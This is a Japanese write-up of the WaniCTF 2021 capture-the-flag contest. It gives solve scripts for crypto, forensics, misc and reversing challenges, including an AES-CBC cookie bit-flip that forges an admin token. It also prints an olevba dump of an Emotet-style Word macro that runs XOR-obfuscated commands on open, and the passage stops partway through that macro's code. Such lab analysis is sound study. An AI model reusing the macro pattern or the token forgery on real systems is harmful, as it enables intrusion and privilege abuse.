WaniCTF 2021 Writeup
2021/11/5 20:00 ~ 2021/11/7 20:00に開催されたWaniCTF 2021のwriteupです。
6304pt獲得し、9/330位でした。
Crypto
fox
long_to_bytesするだけです。
from Crypto.Util.number import long_to_bytes flag = 19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197 long_to_bytes(flag)
$ python3 solve.py FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}
Sweet curve
SageMathを使って、P+Qを計算するとフラグが得られました。
from Crypto.Util.number import * p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667 x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3 E = EllipticCurve(GF(p), [-1, 1]) P = E(x_P, y_P) Q = E(x_Q, y_Q) flag = P+Q print(long_to_bytes(flag[0]))
$ sage solve.sage b'FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}'
Dango
chall.pyから、ciphertext = flag ^ key[0]
であることが確認できます。key[0]はAとCでxorをとると求めることができるため、flag = ciphertext ^ A ^ C
となります。
ciphertext = bytes.fromhex("bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0") A = bytes.fromhex("cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359") B = bytes.fromhex("e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7") C = bytes.fromhex("319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4") def xor(x, y): return bytes(a ^ b for a, b in zip(x, y)) key = xor(A, C) flag = xor(ciphertext, key) print(flag)
$ python3 solve.py b'FLAG{dango_sankyodai_dango__-ooo-}'
AES-NOC
assert len(flag) == 49 assert flag.startswith(b"FLAG{") assert flag.endswith(b"}")
chall.py中に書かれているフラグの条件より、平文の最後のブロックは}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f
だと推測できます。
この情報を使うと、後ろのブロックから順に平文を求めることができます。
from pwn import * from Crypto.Util.strxor import strxor from Crypto.Util.Padding import pad # last block: b"}\x0f\x0f\x0f..." io = remote("aesnoc.crypto.wanictf.org", 50000) def enc_flag(): io.recvuntil(b"> ") io.sendline(b"1") io.recvuntil(b"'") return bytes.fromhex(io.recvline().decode().strip()[:-1]) def encrypt(p): io.recvuntil(b"> ") io.sendline(b"2") io.recvuntil(b"> ") io.sendline(p.hex()) io.recvuntil(b"'") return bytes.fromhex(io.recvline().decode().strip()[:-1]) io.recvuntil(b"'") iv = bytes.fromhex(io.recvline().decode().strip()[:-1]) enc = enc_flag() blocks = [enc[i:i+16] for i in range(0, len(enc), 16)] prev_P = pad(b"}", 16) flag = prev_P for i in range(3): plain = bytes(16) + prev_P e = encrypt(plain) prev_P = strxor(blocks[-1], e[16:32]) flag = prev_P + flag blocks.pop() print(flag)
$ python3 hoge.py [+] Opening connection to aesnoc.crypto.wanictf.org on port 50000: Done b'FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f' [*] Closed connection to aesnoc.crypto.wanictf.org port 50000
Flag Service
tokenをAES-CBCで暗号化したものがcookieにセットされます。tokenの形式は次の通りです。
{ "admin": bool, "username": string, }
adminがtrue
なら、フラグが表示されます。
平文のFalse
に対応する部分のivを書き換えると、復号後のadminをTrue
にできます。
from cipher import AESCBC import json from base64 import b64encode, b64decode enc = 'yP8VpnzzoXoUJ6miyJfRzIYGXv90WG8wFi2x25ijPrtTprq0LHq24bl4ojF33h3NJU7KrhReRRNFYDA19EoNHQ==' enc_decoded = b64decode(enc) old = b"False" new = b"True " # {"admin":False,"username":... # ^ index: 10 token = enc_decoded for i, (o, n) in enumerate(zip(old, new)): token = token[:10+i] + bytes([token[10+i] ^ (o ^ n)]) + token[11+i:] print(b64encode(token))
$ python3 solve.py b'yP8VpnzzoXoUJ7ux0YGUzIYGXv90WG8wFi2x25ijPrtTprq0LHq24bl4ojF33h3NJU7KrhReRRNFYDA19EoNHQ=='
最後に、改竄したtokenをcookieにセットすれば、フラグが得られます。
FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}
Forensics
propaganda
flag.mp4を再生して、10秒あたりの部分を見ると1瞬だけフラグが表示されました。
partition01
partition.imgというイメージファイルが与えられます。
stringsでフラグっぽい文字列を探すとFLAG{GPT03}
という文字列が見つかりました。
$ strings partition.img | grep -oE "FLAG{.+}" FLAG{WANI{FLAG{WANI{FLAG{WANI{FLAG{... FLAG{CTF{FLAG{CTF{FLAG{CTF{FLAG{CTF{... FLAG{GPT03} ...
sonic
spectroでflag.wavのスペクトログラムを表示すると、フラグが得られました。
poly
MP3と書かれたpngファイルが与えられます。
手始めにbinwalkでファイルを抽出してみます。
$ binwalk -e flag.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 2048 x 1152, 8-bit/color RGB, non-interlaced 41 0x29 Zlib compressed data, best compression 45263 0xB0CF LZMA compressed data, properties: 0x90, dictionary size: 0 bytes, uncompressed size: 4857004032 bytes 45328 0xB110 LZMA compressed data, properties: 0x90, dictionary size: 0 bytes, uncompressed size: 4857004032 bytes 45393 0xB151 LZMA compressed data, properties: 0x90, dictionary size: 0 bytes, uncompressed size: 4857004032 bytes
0xB0CF
あたりのデータが怪しいです。stringsコマンドで印字可能な文字列を表示します。
$ strings 0xB0CF.7z @@1@> pz5av VTg] >jIf6 ... JeLAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3. 100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU IEND
LAME3.100
という怪しい文字列が見えます。検索してみるとMP3エンコーダであることがわかります。
試しに0xB0CF.7z
の拡張子をmp3に変えてファイルを開いてみると、this is mpng3
という音声が再生されました。これがフラグです。
FLAG{thisismpng3}
partition02
binwalkでパーティションを抽出します。
$ binwalk -e partition.img binwalk partition.img DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1048576 0x100000 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=30bcce20-7041-4d80-ace4-6463453e453e, volume name "WANI" 135265280 0x80FFC00 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=30bcce20-7041-4d80-ace4-6463453e453e, volume name "WANI" 269484032 0x10100000 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=5223fb56-44b6-4085-85cd-a906894e894e, volume name "CTF" 403700736 0x180FFC00 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=5223fb56-44b6-4085-85cd-a906894e894e, volume name "CTF" 537919488 0x20100000 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=b1ebbc76-a6e5-4a94-af8e-f66264326432, volume name "FLAG{GPT03}" 672136192 0x280FFC00 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=b1ebbc76-a6e5-4a94-af8e-f66264326432, volume name "FLAG{GPT03}" 806354944 0x30100000 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=3cdcf545-49ea-4365-a694-11644d784d78, volume name "NANI" 940571648 0x380FFC00 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=3cdcf545-49ea-4365-a694-11644d784d78, volume name "NANI" 1074790400 0x40100000 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=2ccf7158-e3e1-4a67-bc1e-550a93af93af, volume name "FLAG01" 1209007104 0x480FFC00 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=2ccf7158-e3e1-4a67-bc1e-550a93af93af, volume name "FLAG01" 1343225856 0x50100000 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=38753979-6907-4e4e-a120-3ee45d055d05, volume name "FAKE" 1477442560 0x580FFC00 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=38753979-6907-4e4e-a120-3ee45d055d05, volume name "FAKE" 1611661312 0x60100000 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=c6ecae8e-a097-474d-a718-b567e77ee77e, volume name "FLAG02" 1745878016 0x680FFC00 Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=c6ecae8e-a097-474d-a718-b567e77ee77e, volume name "FLAG02" 1880096768 0x70100000 Linux EXT filesystem, blocks count: 32507, image size: 33287168, rev 1.0, ext4 filesystem data, UUID=68eb051c-18fd-4106-bf21-5bc497fb97fb, volume name "DUMMY"
ボリューム名から0x40100000
と0x60100000
が怪しいです。
sleuthkitのflsを使って、ファイル一覧を取得します。
$ fls 40100000.ext2 d/d 11: lost+found r/r 12: flag01.txt r/r 13: flag01.png V/V 65537: $OrphanFiles $ fls 60100000.ext2 d/d 11: lost+found r/r 12: flag02.txt r/r 13: flag02.png V/V 65537: $OrphanFiles
flag01.pngとflag02.pngが見つかりました。icatを使って、flag01.pngとflag02.pngを取り出します。
$ icat 40100000.ext2 13 > flag01.png $ icat 60100000.ext2 13 > flag02.png
後は、flag01.pngとflag02.pngを結合するとフラグが得られました。
$ cat flag02.png >> flag01.png
Misc
binary
binary.csvのsignalの部分を8個区切りで文字に直していくとフラグが得られました。
with open("./binary.csv") as f: f.readline() flag = "" b = "" for line in f.readlines(): b += line.strip().split(",")[1] if len(b) % 8 == 0: flag += chr(int(b, 2)) b = "" print(flag)
$ python3 solve.py FLAG{binary-is-essential-for-communication}
docker dive
Dockerfileが与えられるのでdocker build
して、docker run <image id> ./solver
を実行するとフラグが得られました。
$ docker build . $ docker run 4f904627b0f4 ./solver musl libc (x86_64) Version 1.2.2 Dynamic Program Loader Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}
nearest
「黄色い電車 踏切 駅前商店街」で検索するとnearest.jpgと似ている画像が載せられているサイトが見つかりました。そのサイトに尾道駅と書かれていたので、FLAG{onomichieki}
がフラグとなります。
digital Ask
digital_ask.csvを眺めると、0や1は16個区切りで並んでいることが確認できたので、連続する16個を1つにまとめておきます。
preambleから次のpreambleまでのデータをbinaryの要領で復号するとフラグが得られました。
import re with open("./digital_ask.csv") as f: f.readline() b = "" for line in f.readlines(): b += line.strip().split(",")[1] b = re.sub("0{16}", "0", b) b = re.sub("1{16}", "1", b) # preambleを探す # >>> for m in re.finditer("(10){16}11100101", b): # >>> print(m) #<re.Match object; span=(50, 90), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(644, 684), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(1238, 1278), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(1832, 1872), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(2426, 2466), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(3020, 3060), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(3614, 3654), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(4208, 4248), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(4802, 4842), match='1010101010101010101010101010101011100101'> #<re.Match object; span=(5396, 5436), match='1010101010101010101010101010101011100101'> bi = "" hoge = [] for i in range(90, 644): bi += b[i] if len(bi) == 8: hoge.append(chr(int(bi, 2))) bi = "" print("".join(hoge))
$ python3 solve.py FLAG{please-understand-frame-format-of-wireless-communication}
Rev
ltrace
scanfで入力された文字列とフラグをstrcmpで比較するだけのプログラムです。
問題にある通りltraceでフラグを得ることができます。注意点として、-s
オプションで表示する文字列の最大長を変更しないとフラグがすべて表示されません。
$ ltrace -s 100 ./ltrace printf("Input flag : ") = 13 __isoc99_scanf(0x5569b3f1b012, 0x7ffdbbb593a0, 0, 0Input flag : hoge ) = 1 strcmp("hoge", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}") = 34 puts("Incorrect"Incorrect ) = 10 +++ exited (status 1) +++
pwsh
難読化されているpowershellスクリプトが与えられます。
(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{ Writ','l}','_','o ','r','W4Incor','w3r5h3l','W',' ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4 ','W4Co','d','e','rrect!cW4 } ','rec','tcW4 } ',' {','tput c','cW4Welcome to t','f',' Write-Ou',' if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')
これをpythonで書き直すと以下のようになります。
fmt = "{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}" table = [' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{ Writ','l}','_','o ','r','W4Incor','w3r5h3l','W',' ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4','W4Co','d','e','rrect!cW4} ','rec','tcW4}',' {','tput c','cW4Welcome to t','f',' Write-Ou','if '] src = fmt.format(*table) src = src.replace('cW4', chr(34)) src = src.replace('8r3', chr(95)) src = src.replace('fj7', chr(36)) print(src)
実行するとpowershellのスクリプトが得られます。入力された文字列とフラグを比較するだけのスクリプトです。
echo "Welcome to the world of PowerShell!"$input = Read-Host "Password"if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") { Write-Output "Correct!"} else { Write-Output "Incorrect"}
よって、フラグはFLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}
であることがわかります。
emoemotet
emoemotet.docというファイルが与えられます。Wordで開いてもよくわからない文字列が書かれているだけで、何も情報が得られません。
問題文にあるoletoolのolevbaを使うと、次のvbスクリプトが得られました。
$ olevba emoemotet.doc olevba 0.60 on Python 3.9.6 - http://decalage.info/python/oletools =============================================================================== FILE: emoemotet.doc Type: OLE ------------------------------------------------------------------------------- VBA MACRO emo in file: emoemotet.doc - OLE stream: 'emo' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private InitDone As Boolean Private Map1(0 To 63) As Byte Private Map2(0 To 127) As Byte Sub AutoOpen() CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _ unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _ unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _ unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _ unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _ unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _ unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _ unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _ unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _ unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _ unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _ unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _ unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _ unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _ unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _ unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312) End Sub Public Function Base64Decode(ByVal s As String) As Byte() If Not InitDone Then Init Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s) Dim ILen As Long: ILen = UBound(IBuf) + 1 If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "" Do While ILen > 0 If IBuf(ILen - 1) <> Asc("=") Then Exit Do ILen = ILen - 1 Loop Dim OLen As Long: OLen = (ILen * 3) \ 4 Dim Out() As Byte ReDim Out(0 To OLen - 1) As Byte Dim ip As Long Dim op As Long Do While ip < ILen Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1 Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1 Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A") Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A") If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _ Err.Raise vbObjectError, , "" Dim b0 As Byte: b0 = Map2(i0) Dim b1 As Byte: b1 = Map2(i1) Dim b2 As Byte: b2 = Map2(i2) Dim b3 As Byte: b3 = Map2(i3) If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _ Err.Raise vbObjectError, , "" Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10) Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4) Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3 Out(op) = o0: op = op + 1 If op < OLen Then Out(op) = o1: op = op + 1 If op < OLen Then Out(op) = o2: op = op + 1 Loop Base64Decode = Out End Function Private Sub Init() Dim c As Integer, i As Integer i = 0 For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next Map1(i) = Asc("+"): i = i + 1 Map1(i) = Asc("/"): i = i + 1 For i = 0 To 127: Map2(i) = 255: Next For i = 0 To 63: Map2(Map1(i)) = i: Next InitDone = True End Sub Private Function ConvertStringToBytes(ByVal s As String) As Byte() Dim b1() As Byte: b1 = s Dim l As Long: l = (UBound(b1) + 1) \ 2 If l = 0 Then ConvertStringToBytes = b1: Exit Function Dim b2() As Byte ReDim b2(0 To l - 1) As Byte Dim p As Long For p = 0 To l - 1 Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1)) If c >= 256 Then c = Asc("?") b2(p) = c Next ConvertStringToBytes = b2 End Function Private Function unxor(ciphertext As Variant, start As Integer) Dim cleartext As String Dim key() As Byte key = 